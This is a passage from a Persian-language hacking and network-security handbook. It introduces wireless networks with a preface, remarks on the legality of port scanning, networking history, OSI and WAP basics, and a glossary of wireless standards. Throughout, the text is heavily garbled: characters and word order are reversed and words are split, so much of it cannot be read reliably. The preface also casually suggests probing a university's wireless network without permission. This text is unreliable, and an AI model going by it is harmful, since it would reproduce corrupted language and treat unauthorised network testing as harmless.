ود  ن حرکت یيپا سطح در آنقدر ییجا در ای و شوند جيگ مه سندهینو خود یحت و اه یا حرفه  خودیحت که چانديپ ه  نم در  ک ار  آنق  یعلم  ب
ه  که دیا دهيشن حتما را جوان پسر و مرد ريپ آن  داستان-کند  هیگلا وادار به را امر نيمتخخصص از یاريبس که باشد نیيپا الهمق  قصر  ب

رد  از یب يترک از گونه ره که بودند حرکت در بازار به سمت یريپ یمرکب فروش ر  مختلط  ای  یف  یا عده  شدند  یسوار م   مرکب  آن ب
 یرو بر رفتن ه را گفت توان یم یاتهتشاب به است گونه نیبد مه ت اطلاعاتيامن حوزه در مقاله نوشتن – گرفتند یم خرده اهآن به نادان
 نظر  در یخاص  طور  به را یعلم نظر سطح از نيمچنه و تنوع نظر از مه مطالب در تعادل حفظ مسئله نیا حل یبرا من غ استيت لبه

سمت  یبعض  در و بز مطال ی ر پرداختن به اه قسمت یبعض در گرفتم ه  مه  اه  ق ا هرا و یکل  اشارات  ب ه  دي مف اه  یینم ا   ام پرداخت ه ت  ک
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 به زیمکارانعزه گرید مقالات بلکه دست نیا از یا مقالاتهتن نه مطالعه نگامه در اگر پس. داد پوشش را یتر عيوس فيط بتوان یحدود
 ستي ن نقص بدون زيچ چهي که ديباش داشته ادی به و . ديباش آشنا قبل از موضوع نیا فلسفه با دینمود بر خورد یعلم سطح در تفاوت نیا
 نیا در یعيوس مطالعه به یعلم اصول تیرعا تهج به یول داشتم مي سیب ی اه شبکه نهيزم در یاتيتجرب خود من قبل از مثال طور به.

ه  باشد  یم  نی ا است  شده یسع که انجا تا و مجددا پرداختم نهيزم ه  مطالب  ک ردان ی طر از شده  ارائ ند  از ق برگ ع  س ا  و منب تفاده  ب  از اس
  است شده مهفرا کرد مهخوا یاشارات اهآن با که نهين زمیا یتخصص یاه کتاب و معتبر یعلم مراجع

  
 نی ا یت يامن مسائل به مربوط نکات نيمچنه م ويس یب یتکنولوژ یرو بر بحث شود یم حاضر حال در ما مقاله به مربوط که یزيچ آن
 کلاه یاهکر ه با مناظره در نيمچنه و یکره یاه نگيتيم نيمچنه و اه کنفرانس از یاريدر بس شرکت در. باشد یم اه شبکه از نوع
س  یاههدگاید نه متاسفانهيزم نیا در دياسات با کيآکادم یاه بحث در نيمچنه و ديسف و یمشک اقض  اريب س  در و مه  از متن وارد  یاريب  م
ر  ساده فیتعر کی سر بر یا جلسه در یحت شدم مواجه یآور فن ن نوعیا مورد در اشتباه مه وع  ب ا  اه  از پروتکل  یخاص  ن  از یک ی ب

ه  توجه  با حال ره به. کردم قانع را دوست آن  مربوطهRFC به  با مراجعه مه آخر در که بودم مناظره مشغول ساعت نیچند دوستانم  ب
ه  ساده ی حتReference ک یمن  آنکه خصوص به شد یم حس اريبس نهيزم نیا در یا هیپا و تر قيدق یاطلاعات  به ازين بالا مطالب  ب
 اطلاعات مه مطالب یبعض در متاسفانه و یکل و یسطح اريبس کردم دايپ که مه  را یمطالب. کنم دايپ نتوانستم نت یرو بر یفارس زبان
ه  یاتي تجرب و ن اطلاعات ين مچه و قي تحق مقدار کی با که گرفتم ميتصم بيترت نیبد بود شده ارائه اشتباه به کل ه يزم نی ا در ک ل  از ن  قب
رار  رانی ا در موضوعات  نیا به مندان علاقه ارياخت در یفارس به زبان و یا هیپا مقاله کی صورت به را داشتم د  ق دا  در. مهب اشاره   ابت
 یا گسترده اريبس و دهيچيپ اريبس یتکنولوژ کیم يس یب یآور فن که آنجا از. باشد یم یضرور اريبس مقاله شروع از قبل نکته چند به
 که یفن زیر مسائل آوردن آز باشد یم
  : مثال طور به) کنم یم یخوددار باشد کننده جيگ اريبس خوانندگان یبرا تواند یم
  
 

شر  ای و یامواج معادلات دادن حيتوض دارات  قي دق حیت س  ستي کوئینا م ه  نی ا یسطح علم   از خارج  اريب  از یسر  نی ا و باشد  یم  مقال
ه  ته ج نیبد– شود یم شامل را مخابرات شیگرا با ک بخصوصيالکترون و برق ندسانهم فقط را مطالب ه  نی ا ب  مهيمطالب نخوا   گون
ن  نی ا با یکل ییآشنا کی که بود دهخوا نیا بر من یسع ( پرداخت ورد  در سپس  و داده حيرا توض  یآور ف سائل  م  صحبت  آن یت يامن م

رم  خوانندگان از دسته نیا یبرا زين مقاله نی ایکل طور به. کرد مهخوا ییاه ا  بودچون  ده خوا دي مف زي ن محت رفتن   ب  مطالب  از فاصله گ
 نیا از یگرید ابعاد با یعمل طور به آن تست و یآور فن نیا تر یو عموم یعمل یاه نهيزم با شدن آشنا نيمچنه و هیدانشگا کیتئور
 یم  نظر  در را شد  ده خوا شامل   رایمشک  کلا  یاه  کر ه اکثرا که مقاله نیا کنندگان مطالعه از یگرید فيط. شد ندهآشنا خوا مسائل

اه  کی مقاله نیا نگاه باشد یم خرابکارانه دافها تهدر ج مقاله نیا که ستين معنا بدان نیا یل و رديگ  یمشک  کلاه  کر ه کی  دی د از نگ
ف  ه کلا  یاه  کر ه که است معنا بدان مطلب نیا خود یول باشد یم ه  یديس سئ  ک ند  یم  ميس  یب  یاه  شبکه  از ول حفاظت م د هخوا باش  ن

  . کنند عمل نواقص آن رفع در و برده یپ خود  شبکهیاه ضعف به ترفند نیا با توانست
 
 از یريگ یپ حال در نگيکه یجار یاه روش سه دسته اکنون مه ميباش داشته 2005 سال در که یايدن به یعیسر نگاه کی اگر دیشا

وع آن  کی  است  یکر ه جوامع  یسو  ه  ن ه  باشد  یم  کيکلاس  که  ک ر  بحث  ک ه  را مطلب  نی ا یرو ب ه  ب ه  یا مقال وان   ب  Webعن
Hackingباشد یم یجاسوس و یا وارههما یاه شبکه که  آنیکاربر خواستگاه که شرفتهيپ و مدرن که از ینوع داد مهخوا  ارجاع 

 نی ا خود  که  باشدیم ميس یب یاه شبکه یريفراگ کارشناسان زا یاريبس نظر به بنا جهيم یايدن نیبه ا یورود در رديگ یم نظر در را
ه يزم در تيفعال یباشد برا یم یا وارههما یاه یآور فن یکاربرد نهيزم شيپ یآور فن ا  ميس  یب  یاه  شبکه  که  ن  در شما  ازي ن دیش
 مطلب  نیا حيتوض ی برایافزار نرم یاه ازين تا باشد معطوف شبکه یافزار سخت یاه ازين به موارد اکثر در ادیاحتمال ز با و شتريب
ه يزم نی ا یاه افزار نرم بلکه شود یم شامل را متيگرانق یاهسخت افزار از یعيوس فيط یآور فن نیا اهتن نه که میبگو دیبا ه  زي ن ن  ب

رو  کار نيچنمه و اههدستگا نیا یرياد گی و آموزش نکته نیا به توجه با باشند یم گرانتر یول کمتر موجود یاه افزار نسبت سخت  یب
ا  مینما یم هيتوص را نهيزم نیا در تيبه فعال شروع از قبل جد طور به را اه افزار نرم نیا روز  از ت ه  یجد  خسارات  ب ا ههدستگا  نی ا ب

 نی ا یبرا اه خسارت پرداخت که دیينما یم تي فعالیقاتيتحق موسسه کی ای بزرگ یا انهیرا شرکت کی یبرا شما دیشا شود یخوددار
 یم  یداری را خر زاتهيتج نیا یانفراد صورت به که مند علاقه و منفرد کاربران یبرا مطلب نیا یو ل باشد ینم مشکل چندان مراکز
ه بعض   است  ذکر به لازم رنديگ یم خود به یاتيح شکل مسئله نیا ندیينما ه  را ییاههدستگا  از یک رد  مهخوا  اشاره  ک ه  خود  ک  ییاه تن ب
ار  که است یمعن نیا به نیا باشد یم یالملل نيب مدرک یاعطا با نيمچنه  ویتخصص دوره کی یدارا ه ا  ک ا  یحرف  سخت  از یبعض  ب
ات  اگر  عمل در طلبد یم را یمعمول یکاربر کیاز  فراتر یازين کرد مهخوا انيب که ییاه افزار نرم یحت و اه افزار ه  خودت  تي فعال ب
  . ندینما یم  درکیخوب به را مطلب نیا ستنده تيفعال به مشغول هنيزم نیا اکنوندر مه که یا کسانی دیبپرداز نهيزم نیا در
  
 

ال  در باشد  یم نهيزم نیا در تيفعال یرو بر یشخص تيامن بحث گرید بحث ه  یح اده  Port Scanning کی  اهکشور  یدر بعض  ک   س
ه يزم در تي فعال یبرا دیبا باشد داشته مراه به را یقانون یاه گرديپ و. شود محسوب جرم توانند یم ه  ميس  یب  یاه  شبکه  ن ه ی ا ب  ن نکت

 بودن یقانون از کشور آن مصوب یا انهیرا میقانون جرا به مراجعه با دیدار قرار آن در حاضر حال در که یکشور به بنا که کنم اشاره
ه آ  دیشو  مطلع آن بودن یقانون ريغ با ر  اصلا  دي توان یم  ای ک سائل  نی ا یرو ب  ی حت یاه  کشور  زا یبعض  در ري خ ای  دیي نما تي فعال م
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ه يزم نی ا کیاستراتژ و یکاربرد اقلام ار یبعض ايدن یصنعت  کلاه  یاه کره و باشد  یم  یت يامن و یمراکز دولت   اري اخت در منحصرا  ن
  کهیول ندیينما ههيت بالا اريبس یاه متيق با اهيس بازار از را خود یاه ازين که مجبورند ن ابزاریا ههيت یبرا خود ازين رفع یبرا یمشک
 ......دست یاطلاعات به اهآن مه عوض کنند در برطرف را خود یاه ازين راه آن آز توانند یم
 
 تا باشد ینم یقانون ريغ اطلاعات از دسته نیا یبازآور نيمچنهو  اه شبکه تست یحت و نصب یداریخر متحده الاتیا در مثال طور به

روش  و دی خر دولت  را که یمجاز اسلحه نوع ره ديتوان یم شما که یمعن نیا به شود یم رفتار آن با قانون اسلحه به هيشب یحدود  آن ف
را  فقط دویريبگ رههب تیجنا مثل یانسان ريغ مقاصد یبرا آن از دینبا یل د ويکن یداریخر دانسته مجاز را اع شخص   یب د يتوان یم  یدف  ن
ه است  يمه مه  ميس  یب زاتهيتج خوب دیينما یبردار رههب آن از ه يزم نی ا در یا لهيوس  وعن  ره  شما . نگون  یداری خر دي توانن یم  را ن

ه  ديسته مجاز   ديسته  ميس  یب  شبکه  کی  تي امن مسئول شما مثلا ديکن یشخص یاه آن استفاده از و نموده ان  شبکه  ک  لحاظ  از را خودت
 نی خاطر ا به را یکس دمیند لحا به تا که من( ديکن تست را گرید یاه شبکه ديتوان یم یننوشته ا قانون کی طبق یحت ديکن تست یتيامن

ارزه  مراکز یول ) ندینما ريدستگ ای مهیجر مطلب ا  مب ه یرا میجرا  ب ا  در یا ان ه ا  ییآنج ه  شوند  یم  حساس  مطلب  نی ب سان  ک  نی ا از یک
ر  یجاسوس  یبرا زاتهيتج افع ي عل ب را  نيمچن ه و یونظام  یدولت  مراکز  ه من صاد  یجاسوس  یب زرگ  یاه  شرکت  از یاقت ر  ب  و معتب

ه  یکار یکس که ییآنجا تا کنند دهاستفا ه  اطلاعات  ب د  طبق دل  رد و حال  در شده  یبن ار  یا ستگاهی ا نيب  شدن  ب ند  نداشته  یک  عکس  باش
ه چه   دي بزن حدس  دي توان یم خودتان خرابکارانه نفوذ اتيعمل کشف محض به یول نده دینم نشان خود از یالعمل اق  ک اد  ده خوا یاتف  افت
شگاه  ميس  یب  شبکه یرو بر ديتوان یم مثال طور به .دیببر یپ کردم اشاره آن با که یمطلب نیا به دهيبخوا دیشا ه   دي کن تي فعال خود  دان ک

ا  مه اه دانشگاه باشد البته داشته یاعتراض مطلب نیا به یکس ندانشگاهيمسئول جز به کنم ینم  فکر.؟ که چگونه دار  گریکد ی ب رق  یمق  ف
ه ا  یبرکل  دانشگاه که موضوع مثل دارند انک  یاه  حساب  قی طر نی ا زک س  و یب کل   در یول  شد  دهی دزد یشخص  اطلاعات  از یاريب
  . است مانع بلا نظر مورد یاه شبکه از یاريبس یرو بر تيفعال

  
  است شده یطراح گونه نیا به مقاله یکل ساختار

  
 
 نیا به که یدوستان از آندسته. کرد مهخوا م آشنايس یب یاه شبکه یا هیيپا فیتعار و اصطلاحات یسر کی با را زیعز دوستان ابتدا در
د  یاه  بخش  به توانند یدارند م قيدق و کامل ییآشنا فیتعار ه  یبع د  مراجع ه  یول  کنن نم  یم  ادهشني پ جد  ب ه  ک ه يزم نی در ا مه  اگر  ک  ن

ا  قسمت نیا که است تذکر به لازم ديبخوان را حتما قسمت نیا خود یاه آموخته صحت از دايپ نانياطم یبرا دیدار تخصص ه  رجوع  ب  ب
رد  زاتهيتج و اه ن پروتکلیا سازنده یاه شرکت ا  است  شده  یآور گ  نداشته  یمشکل  زي مطالب ن  صحت  نيمچن ه و مرجع  لحاظ  از ت
ه  از هي اول یاه ازين از یبعض به یبعد بخش باشند در وت  یسر  کی  جمل ر  و اه  بوک  ن ه  زه  مجییاه  روت  اشاره  ميس  یب  زاتهي تج ب

 یازمندين یسر کی به نهيزم نیا در کار یبرا. باشد ی مPC Magazine ازطرف   شدهیمعرف یاه یآور فن زوج اهنیا که شد دهخوا
ل  به توجه با و ديخواست که یمدل ره از ) شد دهخوا اشاره ستنده ازين  مورد که هياول یاه ان يس ه  یا بودجه  نيمچنن ه و قه خودت را  ک  یب
 نرم یحت نهيزم نیا در گرید یتجار محصول ره ای و اه افزار سخت یبعض ذکر نجانب ازیا دیينما یداریخر دیا گرفته نظر در امر نیا

دان  علاقه ییآشنا یبرا فقط ندارم را محصولات آن غيتبل قصد یکاربرد یاهافزار  ودن  محدود  نيمچن هو  من  – سته  اه  شرکت  نی ا ب
ند  یم معروف شرکت دو حاضر حال در اه پروسسور کرويم د کنندهيتول و طراح که دانند یم مهه مثلا ه  باش  ستي ن در آن مه  یشک  ک
ه  اي دن سرتاسر  در یمعدود یاه کند شرکتيم ییخودنما صورت نيمه به مطلب مه ميس یب یآور فن نهيزم در  محصولات  نی ا ههي ت ب
 اريبس یاه افزار م نر ههيت یبرا گرید یبخش  در( باشد ینم اه شرکت نیا محصولات یآور ادی از جز استفاده یا چاره که پردازند یم

دد  یاهبا کاربرد یمتعدد یاه افزار نرم به یکاربرد ود  مهخوا  اشاره  یمتع ه  نم راه ه ب  محصولمورد نظر   ای  شرکت  ینترنت یا آدرس م
ند  یم یتجار اهآن از یاريبس که اه ابزار نیا از یبعض افتیدر یبرا ه  باش وارد   در ک ر م سخه  اکث را  اه آن یشی نما یاه  ن  و افت یدر یب

  .باشد یدسترس م در دانلود یبرا محدود استفاده
  

 یاه نهيزم به توجه با که است آن برا من یسع ن بخشیا در باشد یم نگيکه بخش ديکش یم را آن انتظار که یبخش مانه ای خرآ بخش
 یحاتيتوض و موثر خلاصه طور به را اه شبکه نیا یرو از اطلاعات ریباز آو نيمچنه و یتيامن یاه تستیقبل یاه بخش در شده آماده
ه  ستمه  دواري د امی آور بدست  یشتري ب اتي تجرب دي توان یم  خودتان ادامه در مینما ارائه را ه  نی ا ک ع  ته ج در مقال دار  رف د  ره  یمق  چن

را یمرجع یاه کمبود از کوچک ورد  دوستان  ی ب تفاده  م رار  اس ده  بخش . ردي گ ق رد  عم ابع یرو از مطالب  نی ا شده  یآور گ ر   من  معتب
ه  وقت چند نیا طول در که خود مه را ییاه بخش و است دهیگرد ترجمه و برگردانده یفارس به یانهج ه  از ک ار  تجرب  آوردم بدست  یک
  .ام  داده قرار زانیعز ارياخت در و ح نمودهيمعتبرتصح مراجع با ا را
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  :Wireless  ی اه شبکه یمبان
 
 خیمر از که پنداشتند یم یافراد را اه شبکه رانیاغلب مد داشتند یمرتب نا و ختهيگس لجام شکل اه شبکه یلاديم 70 و 60 یاه ههد در
دود  یاه کاربر با مه آن نقص بدون شبکه کی ییبرپا زمان آن بودند آمده نيزم به ار  شمار  انگشت  و مع ود  و دشوار  دهي چيپ بس  یک  ب
دد  فیتعار و دارداستان کی و ستميس کی خود یبرا یشرکت ره. ود  بوجود آورده  متع ه  ب ه  را اه  شبکه  نی ا شدن  وصل  ک ا یتقر مه  ب ا  ب  ن

د  حيتوض را اه شبکه آمدن بوجود خچهیتار دونم کهينم لازم. بود ساخته ممکن اآن  مهب ا  ب ار  عیوق ستر  یخیت دن   بوجود  ب  پروتکل  کی آم
ه  را اه  شبکه  توسعه  و نمود حل را مشکلات از یاريبس پروتکل نیا شد جادیا TCP-IP نام به واحد را  سرعت  ب ه  م ساخت هف  نی ا البت

را  نقش  کل  در یول  است  دههمشا قابل آن کرهيپ در یاديمشکلات بن مه نوزه و ادیر یم نظر به یمیقد رويپ مقدار کی پروتکل  ینم  آن
ه  به مه نترنتیگشت ا روروب نترنتیا دهیپد آمدن بوجود با که شد عیسر آنقدر یکابل یاه شبکه نمود توسعه انکار توان  یک ی خود  ی نوب
ور  یاه  بريف یحت و یا رسانه مه کابله نیا وجود با یول است بشر جالب یاه ساخته از  از مه  دادي نم را روز ازي ن جواب  رهي غ و ین

اط  نود کی در شيپ سال چند تا دیآ یم م ادی.. رهيغ و تيامن و امکانات و نظر سرعت ه  فطر  نی ا از ميس  شمار  ی ب یارتب  طرف  آن ب
 عموم فکر خلاف بر قاتيتحق  البته90از  اطلاعات افتیدر و ارسال گردد ینم م بريس یب بودند بله حل راه دنبال به مهه. شد یم دهيکش
ه  املا  یشکلی  ميس  یب  قی  طر هه د ب دا  ک ه  ییابت ر  دوم یانه ج جنگ  در یا دوره ب ان  ردي گ یم  ب ه  یدر زم سه  ک ود  شده  اشغال  فران  ب

را  ییاههدستگا  سيانگل  در خابراتدانشمندانم بش  یرا ب را  بخشی آزاد اه  جن رده  مهف د  ک ا  بودن سه  خاک  از ت د  فران اط  بتوانن رار   ارتب برق
 یتئور صورت به یلادي م60-50 یاه ههد در ن امریا ودين مهفرا آن کیتکنولوژ یاه نهيزم یل و داشت وجود قبل از نهيزم نینداینما
را  آن خاص  یاه یتکنولوژ یبعض البته که بود  فعالیقاتيتحق و یدولت مراکز و اه دانشگاه در  و بلوک شرق   دو یجاسوس  مقاصد  یب

 شرکت از یاريبس که یا گونه به آمد در یصنعت مهين شکل به امر نیا 80 - 70 یاه ههد آغاز با و ند شد یم استفاده گریکدی آز غرب
  . آوردندیم مهفرا را دور راه از ارتباط و ميس یب یاه یتکنولوژ دخو یبرا آور سام سر یاهنه یزه با یدولت یاه ارگان و اه
  
 
را  ر شدنيگ مهه به رو ميس یب یآور فن گفت توان یم کنون تا یلاديم 90 ههد دوم مهين از وم  یب رد  عم ا  ک دن  بوجود  ب ازار  آم  یاه  ب

 سوم زارههآغاز  از یاقتصاد صرفه شدن حيتوج با و یا وارههما دسترس در یاه یتکنولوژ و نسل پنجم یاه تلفن نيمچنه و آمد پردر
سبت  یاه یآور فن از یاهشاخ ریز ره کل طور به  وWireless یاه شبکه یسو به دنیگرو یبرا رشد به رو انفجار دهشا یگ مهه  ن
 رسد  یم  نظر  به وناکن مه گشت که یم توسعه و وجود اعلام یبرا ییاه نهيزم دنبال به ميس یب یآور فن – رهي غ و لیموبا مثل آن به
ر  یمبتن  یاه  شبکه  یم قرنين یفروپاش یصدا گرید است دهيرس فرا دوران نیا ابل  ارتباطات  ب ه  یک ا  رسد  یم  گوش  ب  یدوران  در دیش
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ان پروتکل  ه اگر  که دیا کرده فکر خود با حال به تا یول شد دهنخوا دهید آن از یاثر گرید نچندان دور ن  نی ا  ازTCP-IPمعروف   م  ف
  .شد یم نابود یبکل بله آمد یم کرده ورهظ تازه نهيزم نیا سر بر یعاقبت چه کرد ینم یبانيپشت ميس یب یآور

  
 سطح 7 در پروتکل نیا که ديدان یم ديباش پروتکل آشنا نیا با یمقدار اگر ميبدان پروتکل نیا مدل یاصل طراحان ونیمد دیبا را امر نیا
  .دينک توجه ریشکل ز به شود یم یبررس هیلا 7 ای
  

 
  

  
  
اط  مه  با یکابل ارتباطات قیطر از ند بودهخوا قادر یکیزيف هیلا در فرض شيپ و هیپا پروتکل از استفاده با بران کار بالا شکل در  ارتب

 از اه استاندارد گرید از استفاده با هیلا نیا ددريکن یم دههمشا را یکیزيف هیلا سطح نیتر نیيرپا دOSI معروف  مدل ند درینما برقرار
وان  یم  یگر ید ییاه پروتکل با توجه با که است معنا بدان نیا کند فیتعر راOSI 802.1  یکیزيف هیلا تواند یم  کهx جمله   نی ا ار ت

 حال  در یا شبکه  رسانه نوع چه  که ندارد یکار مسئله نیا  بهTCP –IP کل  که دیينما توجه نمود استفاده مزبور  ارتباطاتیبرا هیلا
ابل  یآور فن از مه آندو انيم در که آورد مهفرا  رایا نهيزم توان یم امر نیا یبرا است آن یرو بر کار ل  یک ل  مث  ای  یزوج  یاه  کاب
  دیيفرما توجه ریز شکل به موضوع نیا دنيمهف ترهب یبرا گرفت رههب ییویراد امواج از ایو  ینور بريف
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رار  نظر  مورد مدل یکیزيف هیلا انيم در802.11 ليقب از یی یاه استاندارد د يگ یم  ق تفاده  طیشرا  و رن زار  گر ید از اس انه  و اه  اب  رس
  .کنند  یم مهفرا را اه آنتن ليقب از یا شبکه یاه
  

  
 
  
 ارتباطات از که بود ندهخوا قادر شبکه یکیزيف هیدر لا شده اضافه یاهاستاندارد از استفاده با کاربران که ديکن یم دههمشا بالا شکل در
ه  ميس  یب  ارتباطات در یکل طور به - بورزندد مبادرت اه داده ارسال و افتیو در یگذار اشتراک به یابر ميس یب  یعنصر اصل   دو ب
ه  کی  است  ازي ن ارت  ب ه  ميس  یب  شبکه  ک وت  ودرWirless PC Card اغلب   ک  ک ی  یگر ید و باشد  ی م PCMCIA ا ه  بوک  ن

ACCESS POINTشود   یم  استفاده امور نیا یبرا یمخصوص یاه آنتن از اغلب که است Access Point د  یم  خود  اه ه  تواننن  ب
وان  یم یگوناگون یاه شکل به شوند متصل گریدAccess Point ک ی ای و یکابل شبکه کی به جمله از یگرید نقاط  یب  یاه  شبکه  ت
زوم  شود استفاده یلیکا یاه شبکه مانه ییاه بخش در ميس ی بLANشبکه  کی خود در دیشا داد گسترش را ميس دارد  ی ل ه  ن  کل  در ک
ر هب به دنيرس یبرا باشند ميس یب تباطات ار مهه ميس یب شبکه کی ل  سین سرو یت وان  یم  دسترس  قاب وع  دو نی ا بي ترک از ت  شبکه  ن

 گرید مهيمفا یبعض  و ومهمف نیا با ميس یب مباحث در اغبل شما کنم اشاره یمقدار مهWAP به  است نجا لازمیا در خوب نمود استفاده
   باشد یمWireless Application Protocol جمله   مخففWAP کرد  دهيخوا برخورد اريبس
  

 ازين آن بهTCP-IP اطلاعات  انتقال هیلا در یکاربرد یاه برنامه که سته یاستاندارد زين نیم ايس یب یکاربرد یاه برنامه استاندارد
ال  هی لا مانه ایTranport ه یلا در مه استاندارد نیا 802.11 استاندارد ماننده دارند رار  انتق ه يزم و ردي گ یم  ق تفاده  ن ه  اس  را اه  برنام
  )ریز شکل مطابق ( کند یم مهرا فرا ميس یب یاه شبکه در ارتباط یبرا
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 ری ز یدارا خود  زي نWAP پروتکل   دینما یم لیتبد نترنتیا قبول قابل شکل به را WAP پروتکل  اطلاعاتWAP نال يترم واقع در
ه (شود   یم  اشاره آن با دوستان ییآشنا تهج از فقط و ستنده یشمار یب یفن مسائل یدارا خود که باشد یم ییاه تکلپرو  ری ز شکل  ب

  )دیيتوجه فرما

  
 

ه  واج  از ميس  یب  ارتباطات  در یکل  طور  ب واج  في ط و یوی راد ام ادون  ام تفاده يمچن ه و قرمز  م ا هپ از ن اس د  ین ن  بان   یاه  تلف
Cellularو داده پوشش را مربع لیما 5 حدود تا تواند یم یخارج آنتن از استفاده با مه آن ميسيب شبکه ره یکل طور به شود یم استفاده 

 اه داده کردن رله صورت به یا وارهه مایآور فن از که باشند یم دسترس در زين دور را قدرت پر یاه شبکه البته کند ارتباط برقرار
شا  را ميس  یشبکه ب  سه یشانپو مه ریز شکل در برند یم رههب ه یرا ره  دي کن یم  دههم ر  نی ا در ان ا  ميس  یب  اب ر ینزد ب  Access ن یکت

Point کند یم برقرار ارتباط.  
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د  شده گسترده و متنوع آنقدر ميس یب یاه ابزار ه  ان را  دي توان یم  یبراحت  ک ا  آن ا یمت تقر يق ب ا  ب  دهي خوا ینم  اگر . دیي نما یداری خر ینیيپ
 شرکت   ديتولiPAQ من  علاقه مورد یاه مدل از یکی کنم یم ادهشنيپ را اه PDA د استفادهيکن صرف نهيزم نیا در را یادیز نهیزه

Compaqديکن توجه ریز ریتصاو به باشد ی م .  

  
 یل  و – شوند  یم داده حيتوض خلاصه به صورت فیتعار نیا ( شود یم اشاره جیرا فیتعار و اصطلاحات از یبعض به بخش نیا در
 ادی کی علاقهمند دوستان هياول ییآشنا تهج از فقط نوشت کتاب و مقاله چند توان یم ن اصطلاحاتیا ار کدام ره یبرا یعاد حالت در
 انيم به ی بحثLAN از  یوقت مثال طور به شوند یم فیم تعريس یب یاه شبکه مجموعه ریز در ریز فیتعار ینيمچنه شود یم یآور
   . است استفاده شده ميس یب یآور فن از ینور ای یکابل ارتباطات یجا به آن در که است ميس ی ب LANاز  ینوع منظور دیآ یم
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  :حات يتوض فيتعار
 

Wireless : 
  
   ميس یب
  

Wireless Network : 
 

ه اری دو نيب  افت اطلاعات یدر و ارسال به آن از بتوان  حالت نیتر ساده در که است یا شبکه  مقصود  از یک يدستگاه الکترون  دو ای  ان
  . پرداخت کابل و ميس از استفاده بدونPDA ل يقب
  

LAN (Local Area Network) 
 اتصال  و ن اطلاعات يمع  یا محدوده  در ميسي ب یفن آور بر هيتک با که است محدود ییايجغراف محدوده با ییاه شبکه یبرا یاستاندارد

  .)رديگ یم قرار استفاده مورد زي نیکابل یاه شبکه در( گذارد  یم به اشتراک را ینترنتیا یاه
  

WAN (Wide Area Network) : 
  نسل خصوص به لیموبا یاه یگوش ینوعSmart Phone م يس یب هید گستر یاه شبکه

  .دینما یم یبانيپشت را یکي الکترونیاه نامه السار و افتیدر و نترنتیبه ا اتصال یاه تيقابل که پنجم و ارمهچ
  

PDA(Personal Digital Assistance) : 
 

د  یکيپست الکترون خدمات یاه تيقابل ی دارا که است یکوچک یکيالکترون دستگاه ه  از اه   داده تیریم ش ی  جمل ل  یشخص  یک من  مث
  .نترنتیا به سرعت پر اتصال تيبا قابل آن دیجد یاه نوع و اه ملاقات ت قراریریمد و یدار نگه

  
Pocket PC : 

  
  .شود یم برده نام برند یم رهه بWindow CE عامل ستميس ار که یبيج یاه وتريکامپ یبرا کروسافتیما شرکت یادد قرار نام
  

IEEE (Institute of Electrical and Electronic Engineers) : 
  

رق  ندسان هم موسسه  ع  کي الکترون و ب ا یآمر در واق ر  ک ده يگ دهه ع ب اد یا رن س  لي تکم و ج تاندارد  از یاري ب و  شبکه  یانه ج یاه  اس
  .مزبور یاه رشته به  مربوطیاه شاخه ریز گرید و مخابرات و کيالکترون

  
IEEE 802.11 : 

 
شت   بایمحل یاه شبکه یبرا مزبور انجمن یسو از شده بیتصو یاستاندارد هیپا ون  مه Mbps2 حدود   در یسرعت  یبانيپ  گر ید از اکن

  .بالا ی فرکانسیآشفتگ با رديگ یم قرار استفاده شتر مورديب استاندارد نیا نسخ
  

IEEE 802.11b : 
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 است سرعت داده اختصاص خود به را نیتر پر استفاده نام و ميس یب یاه شبکه انيم در کنون تا شده استفاده استاندارد نیتر کاربرد پر
  . است Mbps11 حد تا یبانيپشت

  
IEEE 802.11a : 

  
دار  نیا البته Mbps 60 حد تا ميس یب یاه شبکه یاه استاندارد نیتر سرعت پر از یکی ان  طیشرا  در مق ا  یاغلب سرعت   است  یآرم  م
را  که یگرید نام باشد یم گرینسخ د از تر نیيپا یفرکانس یآشفتگ دهد یم ارائه را Mbps 24-54 نيب تاندارد ی ا یب ورد  شتري ب ن اس  م

  .شود یم دهينام ميس یب یاه استاندارد هيکل یبرا اشتباه به که است(Wi-Fi)رد ي گیم قرار استفاده
  

OpenAir : 
 

   . GHz 2.4حدود  در یفرکانس بانmbps 2 تا mbps 1.6 عرض با استاندارد
  

HomeRF : 
 

  .صوت انتقال تيقابل  باOpenAir استاندارد مشابه یاستاندارد
  
 

XG 3 همانندG 4 وG:   
  
  .باشد  یم ميسيب یاه تلفن متفاوت یاه نسل انگريب
  

GPRS(General Packet Radio Services) : 
 

  .یامروز اريس یاه تلفن نسل در شده گرفته کار به برتر یآور فن ینوع
  

Telco-Return : 
 

 ردي گ یم صورت KB56 مثل یکابل خطوط  توسطارسال یول باشد یم وارههما از اطلاعات افتیدر طرفه کی یا وارههما ارتباطات
  . کنند یم افتی در ميمستق صورت به یآنتن بشقاب با را اه داده کاربر نوع نیا در
  

SRS(Satellite Return System) : 
 
ه ی ستميس مشکلات ستميس نیا ردي گیم صورت یمخصوص یاه بشقاب قیطر از اطلاعات ارسال و افتیدر ستميس نیا در  را ک طرف
ا  خدمات و زاتهيبودن تج گران دیشا است کرده رفع س  در باشد  ستمي ن سی ا نقص  یا وارههم ط ي ن اه  کشور  از یرايب ان  ز فق  یاه  ارگ
  .رد يگ یم کمتر قرار افراد ارياخت در و کنند یم ستم استفادهيس نیا از یدولت

  
Wi-Fi : 

  
  .IEEE802.11..b استاندارد یتجار نام و گرید نام
  

GPS(Global Positioning Systems) 
  
ات  از یک ی یول  ديسته آشنا ستميس نیا یاه با کاربرد شما دخو ميس یب یاه یآور فن نیتر آشنا از یکی یانهج ابی تيموقع ستميس  ینک
شخ  گر نفوذ مکان توان یم که است یفن آور نيمه کند یم دیدهت ميس یب زاتهياز تج استفاده در را اه کره که ر  -داده صيرا ت  یرو ب

  .ندک یم مختل  راGPS ستم يس شود که یم استفادهSurf Anonymous  ینوع مهم يس یب یاه شبکه
  

WML (Wireless Markup Language) : 
  

  .باشد  یم ميس ی بیاههدستگا در وب صفحات نوشتن یکه برا باشديم HTML و XML ماننده یزبان



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٨١٣    صفحه

  
EPOC : 

  
  . رود یم کار بهSmart Phone در   کهSymbian شرکت  عامل ستميس ینوع نام
  
  
 

GSM( Global System for Mobile Communications) : 
  
   .ییاروپا هيدر ناح اريس یاه تلفن یبرا ستانداردا کی
  

Infrared : 
 

 Infrared Data شده  استفاده یاه پورت استاندارد  محدودیاه فاصله در یشخص یاه انهی را در شده گرفته کار به قرمز مادون اشعه
Association ا ی IrDAباشد  یم  منزلتاننیوزتلوی کنترل موتیر مانه گرید مثال کی.  

  
1 G : 
